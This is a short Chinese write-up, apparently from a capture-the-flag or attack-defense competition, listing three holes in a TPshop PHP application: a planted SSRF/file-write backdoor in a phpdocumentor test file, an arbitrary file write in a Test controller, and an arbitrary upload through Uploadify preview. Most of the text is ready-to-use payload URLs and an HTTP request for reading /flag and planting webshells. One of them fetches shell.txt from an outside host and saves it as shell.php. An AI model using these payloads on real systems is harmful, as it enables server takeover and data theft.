10_tpshop

by Hence Zhang@Lancet

ssrf/任意文件写入后门

漏洞文件位置：

```
vendor/phpdocumentor/reflection-
docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php
```

payload：

http://en:9090/vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php?jmmy=caae8ca617372b67363bd284e98430f2&bddlj=/var/www/html/1.txt&down_url=file:///flag

也可以利用任意写入的特性，通过写入.htaccess 构造shell。

任意文件写入

漏洞文件位置：application/home/controller/Test.php

Payload: 可以用于读flag或者getshell

flag读取： /Home/Test/dlfile?file_url=file:///flag&save_to=/var/www/html/1.txt

Getshell: /Home/Test/dlfile?file_url=http://xxxx/shell.txt&save_to=/var/www/html/shell.php

任意文件上传

漏洞文件位置：index.php/Home/Uploadify/preview

Payload:

```
POST /index.php?
m=Home&c=Uploadify&a=preview&num=1&input=head_pic&path=head_pic&func=add_im
g HTTP/1.1
Host: 172.16.0.200
Content-Type: application/x-www-form-urlencoded
Content-Length: 46


```

会在/var/www/html/preview目录下生成shell